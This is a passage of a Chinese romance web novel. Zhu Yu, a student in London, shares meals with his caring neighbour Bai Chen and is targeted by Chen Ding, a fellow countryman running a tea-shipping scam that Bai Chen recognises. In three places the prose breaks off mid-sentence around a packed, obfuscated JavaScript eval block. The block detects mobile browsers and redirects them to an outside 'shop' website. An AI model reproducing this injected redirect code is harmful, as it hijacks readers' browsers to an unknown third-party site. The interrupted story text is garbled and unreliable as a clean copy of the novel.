柏沉在浴室的时候也被水浇到了,所以也换了衣服,现在身上穿着一件黑色高领毛衫,有些紧身,把肩衬得很宽,衣袖挽起,小臂的肌肉很均匀,围裙松垮垮地系在腰后,头发半干,后颈意外的白。 祝渝看得仔细,又看见了他右耳后方的那颗痣。 柏沉站在那里是有压迫力的,来自成熟男性的荷尔蒙根本就藏不住,祝渝凝着柏沉的背影,莫名有些发怵。 他本意是悄悄溜到柏沉身边吓他一跳的,但没想到柏沉却先出声了:“我煮了红糖姜水,既然来厨房了,就喝点再吃饭吧。” 把祝渝吓了一跳。 “师哥!”祝渝拍拍小心脏,蹦到了柏沉身边,偏着头看他:“你怎么知道我来了呀?” “我猜的。”柏沉正在和面粉,手背上青筋凸起,小臂上的血管也缩张着,很有张力。 没意思。祝渝吐了吐舌头,目光慢慢向下。 柏沉身上这件高领毛衣,刚好遮到了喉结位置,颈部的青筋一路延下,直到被衣领完全遮住,因为毛衣有些紧身,所以胸肌线条非常流畅明显,呈块状,像坚硬的石板,轮廓分明。 这件衣服把本就温柔的人衬得更加温柔“贤惠”了。 男妈妈啊—— 祝渝不自觉张了嘴。 连瞳仁都跟着放大了,他惊叹地摇了摇头。 祝渝眼睛根本就藏不住事,但他的眼神并不是那种会让人觉得不适的骚扰式打量,而是那种欣赏式的直白打量。 柏沉被很多人这样直白地打量过,只有祝渝的打量是没有恶意的。 柏沉假意轻咳一声,没偏头看祝渝,说:“你在看什么?” 祝渝眨眨眼,表情坦诚:“看你呀。” 倒也实诚。 柏沉和面的手一僵,“看……看我?” “是呀,师哥,你这个……”祝渝抬手在胸前比划了两下,“怎么练的啊?” 柏沉沉默了几秒,“练了很久。” “那我现在练,什么时候能练成你这样呢?”祝渝问。 柏沉听完停下了手头的工作,面向祝渝,打量起了他。 祝渝忙将两手插在腰间,挺直了腰板和后背,尽量让自己看起来很高大。 尽管他在柏沉面前像一只营养不良的幼年小狗。 “或许要很久。”柏沉不太想对祝渝说打击他的话。 祝渝自信开麦:“我可以坚持啊!别的不说,我的恒心可强了!” 等他在国外把自己练得高大又威猛,回去狠狠惊艳家里的人。 让祝霆再也没办法把他提溜起来,让保镖们再也架不动他,让所有人都膜拜他!! 哈哈哈哈…… 只想想祝渝就笑得有些合不拢嘴。 柏沉看出了祝渝心里在想什么,他嘴角慢慢扬起一抹弧度,像是在偷笑:“那第一步就是戒碳水,还要戒掉你爱吃的那些蛋糕,不能再那么不节制的吃饭。” “还要戒掉……”柏沉或许是真的在帮祝渝提建议,但他余光却观察着祝渝的表情。 自己说一句话,祝渝表情就暗淡一分。 祝渝听得心里难受坏了,忙伸出手做了一个噤声的动作:“师哥你别说了。” “我不练了。”祝渝放弃得很干脆。 柏沉笑出了声。 好像早有预料了,他没有刻意嘲笑:“好,那就来把这碗红糖姜水喝了吧,伦敦现在换季,你今晚又淋了水,小心流感。” “我不喜欢喝姜水。”祝渝摇头拒绝。 柏沉好像连祝渝说这句话也预料到了,他头也不抬,接话:“喝了的话,我今晚给你做一个蛋糕。” “什么样的?”祝渝一听见吃的就两眼放光。 柏沉:“你应该会喜欢的。” 祝渝笑得有些合不拢嘴:“既然柏师哥都发话了,我就勉为其难喝一碗吧。” 厨房除了红糖姜水的味道,祝渝也闻到了炖排骨和月饼的味道。 他从柏沉身后绕过去,走到了炖排骨的锅前,刚要抬手去揭开锅盖看看,柏沉就抓住了他的手,“烫。” 柏沉说。 祝渝眨眨眼,“嗷,我知道了。” 但他还忍不住往锅里瞟。 柏沉无奈笑:“等你把红糖姜水喝完就可以吃了。” “好!”祝渝心里美滋滋的。 柏沉做了很多种口味的月饼,有肉松蛋黄,榴莲冰皮,豆沙馅,绿豆陷,流心奶黄…… 祝渝手指着问一个,柏沉就答一个。 “师哥,我要幸福死了,如果世界明天就毁灭了,我也没有什么遗憾了。”祝渝捂住了心脏,看着盘子里各种口味的月饼,忍不住往柏沉身边靠了过去。 柏沉笑着说:“那你是不是太好满足了?” “人之常情啊!”祝渝一点也不觉得自己说的话夸张。 —— 二十多分钟后,柏沉家里的餐桌上摆满了食物。 光是月饼就装了四个盘子,还有一大锅玉米排骨汤,祝渝的身前摆着一个巴掌大的岩溶巧克力蛋糕。 “师哥!我吃饭啦!”祝渝握住勺子,满眼期待地看着柏沉。 柏沉把围裙取了下来,坐在了祝渝的对面。 他点头:“蛋糕吃不完就算了,可以多吃点排骨和玉米,月饼吃不完也能放两天。” 祝渝抬起手,伸出食指摆了摆,自信道:“你太小瞧我了,我能吃完的!” 他说完就伸长手将柏沉手边的勺子拿了过去,挖了一大勺蛋糕递出去,“师哥,你吃第一口!” 柏沉并不想拒绝祝渝的好意,可他从来不会在晚上吃热量这么大的东西。 他摇头:“热量太大了。” “就一口都不可以吗?健身这么麻烦?”祝渝并不健身,不知道他们之间的讲究。 柏沉思忖后说:“倒不是因为健身,我本身……” 顿了一下,他不知道是想到了什么,而后才接着说:“就不太爱吃这些甜食。” “居然有人不爱吃甜点。”祝渝将柏沉的勺子留给了自己,然后把自己没用过的勺子递给了他。 又说:“那下周二我请你吃小蛋糕,你还会吃吗?” 柏沉抿起唇笑:“只是一次的话,没关系的。” 祝渝听得很开心,这让他觉得在自己和柏沉的这段友谊里,自己也有被重视到。 于是祝渝把手里的那勺蛋糕全部塞进了嘴里,蛋糕外皮略微酥脆,巧克力味道很浓郁,里面的流心巧克力还有一些烫,没有特别甜,正好是祝渝喜欢的甜度。 “怎么样?”柏沉问。 祝渝点头,眼睛都变成星星眼了,“好吃!” “是我吃过最最最好吃的蛋糕了!”祝渝又舀了一勺喂到嘴里,“好好吃!!” 情绪价值给得很到位。 柏沉笑着,“不要吃太多,留点肚子吃月饼和排骨。” 祝渝点头,看见柏沉拿过自己的碗准备盛汤,他忙开口:“等等!” “我拍一张照片。”祝渝拿出手机,站起身一顿咔咔操作。 “好啦!”祝渝坐了回去。 柏沉给祝渝盛了一碗汤,“尝尝。” 祝渝要忙不过来了,他笑得合不拢嘴,觉得这一幕和做梦似的,“一个一个来,我先把蛋糕吃了。” 祝渝果然没有吹嘘自己,他真的做到把桌面上的东西横扫一空了。 柏沉看着祝渝,觉得祝渝的食量和身材严重不符了。 有人是吃不胖体质的,祝渝就是这种人,家里的营养师换了一批又一批,最后好歹是让身高长上去了。 “师哥,你厨艺这么好,家里的饭也是你做的吗?”祝渝碗里是最后一点排骨汤,他看起来是吃饱了,喝汤的速度也慢了下来。 柏沉摇头:“之前和你说过呀,你是第一个吃我做的饭的人。” 祝渝:“看来诈骗电话说得没错,我果然是最幸运的人。” “等回国了,如果你找不到合适的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13931528|146004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就来找我,我给你开……”祝渝把自己卡里的余额在脑子里过了一遍,“一个月十万的工资,你只需要给我做饭就好了!” “不过我还是希望你找到喜欢的工作,最好是和你专业有关的。” 柏沉当祝渝是哄自己开心的,他神情如常,从容一笑,并没有说话。 祝渝说完就把碗捧起来,仰起头将碗底的汤都喝光了。 排骨汤闻起来肉香四溢,但入口最浓郁的还是鲜玉米的味道,紧接着才是鲜肉,香葱,口味不咸不淡,胡萝卜块几乎是入口即化。 那是一个比他脸都大的碗。 厨房还剩有一些月饼,不过祝渝是真吃不下了,柏沉说打包装进礼盒,给Vera教授他们送去一份。 “那剩下的可以给我装一点吗?我想给韩金珠打包一份。”祝渝眼睛亮亮地看着他。 韩金珠对祝渝还不错,之前两人经常一起去华莎街那里吃越南粉。 不过后来那家店关闭了。 他和韩金珠接头相拥哭了好几天。 后来韩金珠的东北籍妈妈来伦敦看他,给韩金珠带了很多自制的咸菜和干饼,他给祝渝分了一些。 现在该是祝渝借花献佛的时候了。 但也不能白拿柏沉的,所以祝渝补充:“明天我会买小蛋糕感谢你的。” 他刚说完话,柏沉又从橱柜里拿了一个礼盒出来,他没应祝渝的话,反而问起:“韩…金珠,你和他关系很好吗?” 柏沉看起来就像是随口问问,神态和寻常无异。 祝渝压根没多想,他老老实实回:“嗯嗯,我们关系还可以,但我们专业不同,所以不常在一起。” “这样啊。”柏沉将打包好的礼盒递给祝渝,又说:“还剩一点,你拿回去吃吧。” “好!明天给你带小蛋糕。”祝渝把两盒包装好了的礼盒接过去说。 “你下周二不是要请我吃蛋糕吗?就用那个蛋糕抵消吧。”柏沉很能站在对方的位置去思考。 之前的生活环境让他成为了一个习惯性优先换位思考的人,他知道祝渝生活费不是很多,需要依靠兼职才能顺利度过每个月。 伦敦这边物价偏高,一块巴掌大的蛋糕可以卖到一百多人民币。 他不想祝渝为自己花费这么多钱,而且还是因为其他人。 说不上为什么。 “好吧。”想到柏沉说他不太爱吃甜食,祝渝没有强求。 他暗暗发誓,下周二他一定要把最漂亮最好吃的那个小蛋糕留给柏沉!! 吃过饭祝渝就要回家了,柏沉把他送到了门口,祝渝抱着刘波,回头和柏沉说晚安。 “晚安师哥!”祝渝说完又拍了一下刘波的肥屁股,“刘波,叫人。” “喵。”刘波叫完把舌头伸出来舔了一下嘴。 只要祝渝来柏沉家里吃饭,那离开前他和刘波一定会和柏沉道别的。 这对柏沉来说,都成了一种习惯了。 他抬手微笑着回应:“晚安,小鱼。” —— 是午后,祝渝和韩金珠一起往他兼职的那个咖啡馆走去。 韩金珠手里拿着祝渝送他的那份月饼。 才过去一晚,月饼的香酥味一点也没有弥散,韩金珠隔着盒子吸了一口气,好奇问: “所以这个糕点是你的邻居,也就是你的师哥做的?” 依旧是不太标准的汉语。 祝渝两手叉腰,很为柏沉感到骄傲:“对啊!” “那他也太厉害了。”韩金珠满眼震惊。 祝渝下课要去咖啡馆兼职,韩金珠陪着祝渝过去,顺便看看祝渝的工作环境,所以两人才会走到一道。 “他对你真嚎(好)啊。”韩金珠感叹,几乎整层楼都知道他们楼搬来了一个很会做饭的人,因为柏沉做菜的香味不止是祝渝一个人能闻到。 只是他没想到,这个人居然和祝渝认识,而且看起来关系还不错。 “是呀,好像从我们认识他就一直对我挺好的。”祝渝回忆了一下后嘀咕。 韩金珠惊讶:“刚认识就对你这么嚎(好)?” 祝渝点头,韩金珠眼睛紧紧盯着他,逐字逐句地猜测:“他是不是喜欢你呀?” 18.骗局 “怎么可能?”祝渝拧起了眉,“我们才刚认识哎?!” 韩金珠也苦恼皱眉,接话:“那就是一见钟情啊。” “我有什么很值得一见钟情的地方吗?”祝渝摊开手,满脸无奈。 “而且我现在可是个穷光蛋。” 韩金珠仔细打量着祝渝的脸,可以毫不夸张地说,祝渝的脸比他们国家大多特意整过了的人都好看。 所以人家很大可能不是图钱的。 “脸啊。”韩金珠斩钉截铁说。 祝渝沉思,然后替柏沉说话:“他看起来不像是这么俗气的人。” “好吧,综合看来,你对他的滤镜挺深的。”韩金珠换成了英语对祝渝说。 祝渝立马反驳:“才不是呢。” “如果你和他接触一下,你会发现他是一个很温柔的人。” 他说着像陷入了回忆似的,笑意逐渐加深。 韩金珠无语地摆摆头:“你没救了。” 祝渝没回他。 两人说着话的功夫已经走到了咖啡店里。 祝渝给韩金珠安排了一个靠窗的位置后,匆匆去后台换了工作服开始接手店里的工作。 韩金珠下午有事,所以他喝完一杯咖啡就离开了。 工作日人少,客人都是零零散散进来的。 祝渝也落了清闲,在后台摸鱼玩了一会儿地铁跑酷。 “Yu,十二号桌的咖啡。”Chloe姐在前台唤他。 祝渝收起手机:“收到。” 他把咖啡送到了十二号桌,桌上的人端过咖啡道了谢。 祝渝听着声音熟悉,抬起头看去,正好和十二号桌客人对视上。 “祝渝!”客人惊喜地喊出了祝渝的名字。 祝渝:“陈定?” “是我,你在这里……兼职?”陈定的目光上下扫过祝渝的工作服。 祝渝点头,“是呀,看不出来吧?” 陈定太理解祝渝这种富家少爷了,在国外读书,闲得无聊总是要找点事情做的,穿着一两万的鞋子端咖啡,和那些开劳斯莱斯干出租,骑着春风送外卖的富家公子一样。 “确实看不出来。”陈定应和着点点头。 祝渝:“你慢慢喝,我回去工作了。” 陈定急忙叫住了他:“祝渝!” 祝渝回头看他:“怎么了?” “你现在不忙的话,和我聊会儿天吧。”陈定眼神和语气都有祈求的意味。 “我也没什么朋友,今天能和你在这里见面,我很高兴。”陈定继续说。 祝渝犹豫了一下,回头看向Chloe姐向她请示。 Chloe姐点点头,祝渝就将托咖啡的托盘放在桌上,坐到了陈定的对面。 “你想和我说什么呀?” 陈定犹豫了一下,问:“之前送你那个茶,你喝了……怎么样?” “还好啊,不过我都说了等我早上喝了给你答复,你一定要我晚上喝,我那晚凌晨四点都没睡着。”祝渝抿了抿唇,语气有些无奈,但并没有责怪的意思。 陈定忙道歉:“抱歉,我只是太想得到你的评价了。” 祝渝习惯性地将手边的咖啡端起来小抿了一口,“为什么要得到我的评价呢?” 陈定就这样眼睁睁看着祝渝将自己点的那杯咖啡端起来喝了一口。 祝渝困惑。 祝渝他顺着陈定的目光看过来。 祝渝看见了自己手里的咖啡。 祝渝—— “啊!”他立马起身把咖啡放了下去,满脸歉意:“抱歉!我顺手就端起来了。” “我再去给你点一杯。”祝渝说完准备去给陈定端一杯新的过来。 陈定急忙叫住了他,“不用了,就当我请你的吧,你那晚喝了我的茶不是睡不着吗……” “也不怪你,也是我自己贪喝喝了一大杯。”祝渝说起来还有一些不好意思。 陈定问:“那你觉得茶好喝吗?” “嗯嗯,还行吧。”因为不会品茶,祝渝只能回答一个中肯的评价。 但陈定好像就是在等祝渝这个回答。 陈定:“那你还要吗?” 祝渝立马摆头,那种凌晨四点都睡不着的日子他可受够了。 陈定:“是不好喝吗?” 祝渝:“不是啊,挺好喝的。” 陈定:“我想着如果你喜欢,你可以从我手里买一些,我们是朋友,我肯定给你打折到最低价。” 祝渝喝了一口咖啡,“我买那么多茶干什么呀,有这钱我还不如多去吃点越南粉呢。” 这个解释……倒也说得通,陈定很明显被噎了一下。 “Yu,有客人。”Chloe姐喊祝渝。 祝渝:“好。” 他又对陈定说:“我一会儿赔你一杯咖啡。” 祝渝说完就起身去前台了。 陈定凝着他的背影走远了才从口袋里摸出手机。 【陈定:妈的,他不是有钱人吗?可真他妈的抠】 【001:你不是说你能拿下这条大的吗?】 【陈定:你懂个屁,我就不信从他那里捞不到一分钱】 【001:你可别翻车了】 【陈定:放心,翻不了,我还有planB】 陈定把手机收了起来。 他打量着前台忙碌的祝渝,这个富二代浑身上下全是名牌,用着最新款的手机,一身贵气。 太招摇了。 也太惹眼了。 当然,如果不是想要祝渝的钱,就祝渝这张脸,他也想把人骗到手玩玩。 毕竟这个祝渝看起来并不聪明。 不过几分钟,咖啡馆又得了闲,祝渝端来了一杯咖啡给他。 “我赔给你的咖啡。”祝渝坐到了陈定对面。 陈定:“谢谢。” 咖啡挺贵的,不过好在祝渝在这里工作,店里给祝渝打了折。 祝渝把自己没喝完的咖啡端起来一饮而尽。 陈定看着他的动作,问:“你喜欢喝咖啡?” 祝渝摇头:“不喜欢。” 只能说不排斥,但绝对称不上喜欢,苦不拉几的。 生活已经够苦了,肯定得吃点甜的哄自己啊。 “祝渝,我有一个主意。”陈定决定继续放线,“你能不能帮我参谋一下?” 祝渝点头:“可以呀。” 陈定:“你觉得,我在英国卖茶怎么样?” 祝渝皱眉,好不容易把话题掀过去,怎么又开始提茶了,难道陈定是茶叶精? “我不知道啊。”祝渝看着他问,“英国人喜欢喝茶吗?” 陈定:“所以问问你的意见。” 祝渝:“那我……帮你问问我的英国朋友?” 出门在外,自己的同胞肯定是能帮就帮。 祝渝对国外的中国人滤镜太大了。 “如果可以的话,你能帮我问问吗?”陈定眼里存着感激,“我这边的朋友,我问过了,他们还挺喜欢的。” 祝渝拿出手机翻了翻列表,找出了几个和自己关系还不错的英国人。 【祝渝:你们爱喝茶吗?】 祝渝发的群消息出去。 这个问题很莫名其妙,果然,祝渝收到的第一条回信基本都是“?” 祝渝解释后才陆陆续续收到回复。 大多回复都是还可以,祝渝突然想起来,他们好像是挺喜欢什么红茶的,进口最多的也是这种茶吧? 他也不太确定,不过总结就是能接受。 祝渝把手机装回口袋,看向陈定:“都说还行。” “那我……在英国做他们茶生意怎么样?”陈定表现出了很欣喜的模样。 祝渝轻叹了一口气,他其实也理解对方,祝渝不用愁家里人的生计,只需要愁自己的,但和自己一个年纪的陈定就不一样了,生病的妈,年迈的爷,还有啥来着…… “我支持你!”搞钱嘛,不磕碜,祝渝甚至佩服他。 陈定很开心,得逞的笑差点没藏住,好在祝渝足够单纯,压根没多想。 “不过祝渝,我可能要向你借点钱,我没有别的意思,我是借来付邮费的,因为现在我身上没那么多钱,家里那边寄茶叶过来,邮费有些高。”陈定表情很是难为情。 不过下一秒难为情的表情就转移到了祝渝脸上。 因为他没钱啊。 祝渝现在属于是干一天兼职拿一份钱,晚上回家再把这份钱花得一干二净,然后第二天从零开始。 生活费是每个月初拿,每个月第一周花光。 存款什么的,呵呵,笑话。 祝渝浑身上下摸不出几个钱,四个口袋比他脸还白。 见祝渝在犹豫,陈定以为是自己的要求提得太突兀让祝渝起了疑心,于是他忙补充: “当然,我可以写欠条的。” “祝渝,你是我过来认识的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13938724|146004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为数不多支持我的中国人了。”陈定继续卖着可怜,“只有你能帮我了。” 祝渝真的很想帮助他,可是…… 他看起来真的像有钱人吗?? 他连头发都是自己染的,就是因为这里的理发店贵出天际。 “陈定,其实我挺想帮你的,可是……”祝渝表情为难,“我家里人管控着我的生活费。” “不然我为什么会在这里干兼职?”祝渝表情很无奈。 陈定平静地看着祝渝的眼睛,妄图从祝渝眼里看出一点撒谎的痕迹。 但很显然,祝渝似乎并没有撒谎。 “这……这样吗?”陈定干咳了一声,明显不死心。 祝渝表情真诚,“是呀,我帮不了你哎……” 陈定垂下眼皮,眸珠晃了晃,他语气哀伤,身上的气息低沉,“我是实在没有办法才来找你帮忙的。” “因为妈妈最近又要住院,我在这边兼职的钱也完全不够。”陈定声音发颤。 祝渝看见他肩膀抖了抖,然后双手掩面,似在悲伤难过。 如果不是毫无办法,他应该不会想要麻烦别人吧。 祝渝从小在祝家的保护下长大,没见过什么人心的恶,也分辨不出好坏人,还养出了心软的性格。 他看见陈定因为家里的事这样难过,忍不住皱起了眉心。 祝渝其实能搞到钱,只是他不太信任陈定,毕竟他们认识没多久,他除了知道陈定叫陈定,其余的都不知道。 但祝渝又觉得,他不能恶意地去揣测一个自己的同胞。 陈定那么惨。 家里条件也不好。 如果自己的帮忙真的可以让陈定解决他家现在遇到的困难,也不是不可以。 祝渝在心里挣扎了很久,最后伸出手碰了碰陈定的胳膊,“我可以帮你的。” “但是,你不要骗我。”祝渝眼睛紧紧盯着他说。 陈定手很明显地僵了一下,眼底也划过了一丝精明的光,可这些祝渝都没注意到。 “祝渝,其实我理解你的顾虑,毕竟我们认识才这么久,如果我是你,我肯定不会答应的。”陈定说话迂回着。 祝渝:“你不用说那么多啦,我会帮你想办法的。” “你需要很多钱吗?”祝渝又问。 陈定:“跨国的邮费是有些贵……” 祝渝:“好吧,我回去问问吧。” “你真的愿意帮我吗?”陈定问完这话又担心祝渝反悔,所以忙接着说:“总之真的很感谢你。” “我也找一些朋友借过了,四处凑凑也快差不多了。” 祝渝点头:“好。” 又说:“你不要难过,阿姨的病会好的。” “如果她知道自己的儿子在国外这么出息,一定会为你骄傲的。”祝渝说话的眼睛亮晶晶的,他是真心实意在安慰陈定。 陈定看着他真诚的眼睛和脸。 罕见地感觉到了一丝愧疚,他似乎并不舍得对这张脸撒谎,不过这点愧疚也转瞬即逝。 毕竟已经到了这一步,就差收网了,陈定说什么也不可能会心软的。 后来他离开的时候祝渝问他要了家里的营业执照。 陈定以为祝渝是要确认一下自己有没有骗他,当场就把自己早就P好了的营业执照发给了祝渝。 祝渝到家就收到了August打来的兼职费。 总共工作了三小时多几分钟,August应该是看在祝霆的面子上,给他按四小时算的。 折合人民币快到八百了。 他在电梯里面用计算机把自己几张银行卡里的余额加了一遍,连微信零钱通里的几毛钱都提了出来。 加起来也才一千多。 他上网查了一下,十公斤的快递差不多就一千左右。 陈定说他家大概有四五十斤的茶叶寄过来。 祝渝算得有些头大了,他们公寓的走廊不是直线式的,祝渝回宿舍要转一个拐角。 他埋着头算得太投入,没注意到拐角的墙,眼看着就要撞上去了,一只宽厚有力的大手突然从身后伸出来,抓住了他的胳膊将他往后拽了点。 “哎哟!”祝渝脚步踉跄,后退了好几步,后脑勺直直磕上了一堵坚实的肉//壁,并不硬,有些柔软,宽阔又有安全感。 他被半搂在坚实宽厚的怀里,槐花的暗香馥郁在周身。 耳畔响起了温和又熟悉的嗓音:“小鱼,怎么不看路?” 19.真相 祝渝一听见这磁性温柔的嗓音就高兴,他在柏沉怀里转过身,这样两人就挨得更近了,如果柏沉再低低头,他们唇角就会擦过。 本来祝渝还觉得冷的,但现在突然就不冷了。 柏沉身子一僵,不平稳的温热鼻息从祝渝头顶拂过。 祝渝关了手机,仰起头对他笑,虎牙露了出来:“师哥!怎么这么巧呀?你又保住了我的脑门。” 柏沉微微笑着后退半步,和祝渝拉开了一些距离,呼吸也平稳了许多,“你在想什么,怎么这么入迷?” 祝渝老老实实回答:“算我还有多少钱。” “我一个朋友他,缺钱。”祝渝低着头,和柏沉并着肩往宿舍走,“他找我借钱。” “可你不是本来就没有多少钱吗?”柏沉困惑。 祝渝:“但是他家也蛮惨的。” 莫名有点台湾腔的感觉。 柏沉:“他遇到了经济困难?” 祝渝:“嗯。” 柏沉:“什么样的?” 祝渝:“他说他妈妈生病,爸爸抛弃了他们,总之就是最近妈妈又住院了。” 柏沉似乎察觉了不对劲,他微微拧眉:“你们什么时候认识的?” 祝渝:“就……不久前,他也是中国人,之前送我茶叶的那个人。” 柏沉:“小鱼。” 他突然喊了对方一声。 “嗯?”祝渝看向他,“怎么啦?” 柏沉:“不要太相信别人了。” 祝渝:“你说他吗?” 柏沉并不想对祝渝说让他小心他朋友的话,因为在他看来,祝渝很在乎自己的所有朋友,所以如果是祝渝的好朋友,柏沉就不想用最大的恶意去揣测对方。 只是按照祝渝的说法,他们刚认识就找祝渝借钱,那对方和祝渝认识也许就是一个骗局。 “嗯。”柏沉点头。 祝渝继续向前走,正想说话,突然又被抓住胳膊带了回来,“走过了,小鱼。” 祝渝偏头一看,发现自己已经快走到516门前了。 “嗷嗷,我没注意到。”祝渝从口袋里摸出钥匙。 看模样,他大概没把柏沉的提醒放在心上。 他拉住了祝渝正在掏钥匙的那只手手腕,说:“晚上要来我家吃饭吗?” 祝渝缓慢摇头,下一秒才反应过来柏沉说了什么,他猛地抬起头看向柏沉:“可是我今晚没有买菜,也没有给你打电话!” “也可以吃你做的饭吗?”祝渝眼里放着光芒。 柏沉笑着打开了宿舍的门,他没有松开祝渝的手腕,拉着他一起进了房间。 “没关系,因为你是小鱼。”柏沉嗓音很低磁。 祝渝小脸通红,语气扭扭捏捏:“师哥,你这样我会爱上你的。” 柏沉知道祝渝在开玩笑,他没有应祝渝的这句话,“那晚上做柠檬鸡丝和番茄滑蛋牛肉?” “或者你还有什么想吃的吗?” 祝渝听完就一手捂住心脏,另一只手在空中挥舞着:“师哥,快……快扶住我。” 柏沉脸色微沉,眉心凝起,忙扶住祝渝关心问:“你怎么了?哪里不舒服吗?” “我要幸福得晕过去了。”祝渝半倚在了柏沉身上。 柏沉笑得失语,他觉得有些无奈,可又觉得这样的祝渝很可爱。 “师哥,我还想吃鸡蛋羹。”果然只是动了一下脑子,祝渝就饿得不行了。 好多烦心事,还是先想吃什么吧。 “好,我去做。”柏沉点头。 祝渝:“那我现在去把刘波抱过来。” 柏沉去做饭了,祝渝回去把刘波抱过来后就趴在茶几边忙碌着。 柏沉不知道祝渝在忙什么。 他一回头就看见祝渝下巴垫在桌上,大概是在算数,两只手都用上了,漂亮的眉头拧成了一团。 最后他又用上了电脑,看起来确实有些伤脑筋,祝渝那头粉色的绒发都变得乱糟糟的了。 他抿起唇,觉得自己还是有必要去提醒一下祝渝。 尽管他的提醒可能会让祝渝不太开心。 祝渝轻哼着歌,柏沉端着昨晚没吃完的月饼走出来,轻轻放在了祝渝手边。 祝渝闻到香味,忙伸手拿起一块肉松蛋黄馅的月饼咬了一口,而后长长地舒了一口气,“师哥啊,再晚一秒我就饿死了。” “好多的事啊,脑细胞都不够了。”祝渝说完才开始嚼嘴里的月饼。 腮帮鼓起,不停地嚼着,像仓鼠吃饭那样。 柏沉垂下长睫,温楚的目光静静注在祝渝的脸上,微抿起的薄唇慢慢染上了一丝浅浅的温柔,他坐在了祝渝身后的沙发上。 看着祝渝的电脑界面。 刘波趁机从祝渝怀里挣出来,跳到了柏沉腿上。 “陈定——”他轻轻念出这个名字。 祝渝点头,回头看柏沉:“师哥,你看我做的这个海报怎么样?” “你给他做的吗?” “嗯。” 柏沉并不想打击现在的祝渝,其实一开始他也不确定,直到现在看到那些茶园和茶叶的图片,柏沉就确信了。 对方大概是奔着祝渝的钱来的。 这是国内一个很低端的骗局,没想到居然流传到了国外来,偏巧祝渝还不知道这个骗局。 柏沉还是忍不住出声提醒:“你不要太相信刚认识的人了。” “或许可以等多了解了他一些……” 祝渝猛点头,粉色的绒发跟着摆动:“我知道呀!师哥,你不要太担心我。” 柏沉敛眸,他觉得自己可能要告诉祝渝一个不太好的消息了,但他先问:“那你已经给他借钱了吗?” 祝渝摇摇头,将最后一小块月饼咽下了肚。 柏沉很明显松了一口气。 “我问过了,他说一百英镑不够。” “我当然很想帮助他啊,但是刚刚在外面你提醒了我,你说得对,我不能太相信刚认识的人。”他语气有些沮丧,好像在因为自己不能帮助到对方而难过着。 “所以我想到了一个办法,我可以帮忙给他做一份海报。” “让他用这份海报去做宣传!”说到这里,祝渝的语气又兴奋了起来,“这可是我免费给他设计的海报,现在请人做海报都是要钱的!” 柏沉一愣,他看着祝渝认真的眼神,就这样突然笑出了声。 如果不是太贪心,或许陈定还能从祝渝那里骗走一百英镑。 他忍不住夸:“小鱼,你怎么这么聪明呀?” “哼哼,你也觉得吧?!”被夸奖的祝渝乐得压不住唇角,忙坐到沙发上和柏沉挨在了一起。 “等会儿我就把这张海报发给他。”他把电脑也拿起来放在了膝盖上,“如果他同意了,我也可以帮他宣传。” 柏沉笑着,“嗯,我觉得可以。” 祝渝抬手用衣袖揩了一下额角并不存在的汗渍,往后仰躺在了沙发的靠背上,“累死我了。” 柏沉眉角微扬:“辛苦啦,小鱼同学。” “给你做的鸡蛋羹应该快好了,一会儿我端出来你先吃着。”柏沉把刘波抱起来轻放在了腿边沙发上。 祝渝眼底放光:“这么快吗?!” “你等等我,我也要帮忙!” “好,你忙完就来吧。”柏沉走去了厨房。 祝渝要急晕了。 啊啊啊,怎么这么多事情啊!! 他给陈定发消息:【我没有那么多的钱,但是我帮你想了一个办法】 【祝渝:我给你做了一张海报,你可以在你的好友圈宣传你家的茶叶】 【祝渝:[图片]】 【祝渝:如果你愿意的话,我也可以帮你宣传一下】 陈定没有立马回消息,祝渝猜他应该在忙。 祝渝也不急着等他答复,他将这张海报翻来覆去看了看,又觉得还不够完美,就给自己认识的同专业的一个中国好友发了过去。 【祝渝:舟舟,你觉得这张海报还有哪里不够完美吗?】 【祝渝:这是我帮别人做的】 【祝渝:[图片]】 发完消息后祝渝就把手机息屏放在了桌上。 “师哥,我暂时忙完啦!”祝渝关掉电脑,起身往厨房走了去。 柏沉正在给烫熟的番茄剥皮,“鸡蛋羹应该也快好了。” “你不要碰,当心烫手。”柏沉看见祝渝有揭开锅盖的打算,出声提醒了他。 祝渝把手拿下来,在腿边蹭了蹭,抬脚靠近了柏沉:“有没有需要我帮忙的呀?” 祝渝每次一靠近他,他就能闻到一股很好闻的山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13948377|146004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶花香。 即便手里番茄的酸味那么浓郁,可还是盖不住祝渝身上的香味。 柏沉手停顿了一下,“把那边的香葱洗一下吧。” 他把祝渝从自己身边支开。 祝渝上前去把菜篮里的香葱拿了出来,“这个吗?” “嗯。”柏沉应完又低下头继续剥皮。 